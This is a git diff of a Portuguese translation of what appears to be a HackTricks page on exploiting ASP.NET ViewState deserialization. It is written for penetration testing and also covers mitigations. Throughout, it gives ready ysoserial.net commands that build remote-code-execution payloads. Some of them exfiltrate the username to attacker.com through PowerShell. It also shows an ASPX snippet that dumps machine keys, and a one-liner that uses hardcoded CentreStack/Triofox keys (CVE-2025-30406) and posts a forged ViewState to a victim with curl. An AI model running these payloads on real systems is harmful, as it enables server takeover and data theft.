Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-08-10 18:15:51 +00:00
parent 359dc7963b
commit 0abf9ec3ee

View File

@ -6,7 +6,7 @@
## O que é ViewState
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ocultos de ViewState.
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
@ -34,7 +34,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identificando Atributos ViewState**
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
@ -42,11 +42,11 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
No entanto, esse não é o caso. Se adicionarmos o **parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
No entanto, esse não é o caso. Se **adicionarmos o parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**.
### Test Case: 2 .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false
Para **habilitar ViewState MAC** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
Para **habilitar o ViewState MAC** para uma **página específica**, precisamos fazer as seguintes alterações em um arquivo aspx específico:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@ -108,17 +108,17 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
```
### Caso de Teste: 3 .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Chave da Máquina para criptografar seu payload** para explorar a vulnerabilidade.
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Sempre**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
### Caso de Teste: 4 .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos para false
### Caso de Teste: 4 .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
```xml
@ -151,7 +151,7 @@ Uma vez que uma chave de máquina válida é identificada, **o próximo passo é
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
Se você tem o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
@ -166,7 +166,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
```
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, então o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
@ -188,7 +188,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
</script>
```
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@ -200,8 +200,46 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 Fev 2025)
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens em blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir limites de comprimento do WAF:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques. {{#ref}}
{{#endref}}
### CVE-2025-30406 Chaves codificadas de Gladinet CentreStack / Triofox
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).
Exploit em uma linha:
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
Corrigido no CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 atualize ou substitua as chaves imediatamente. {{#ref}}
{{#endref}}
## Referências
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)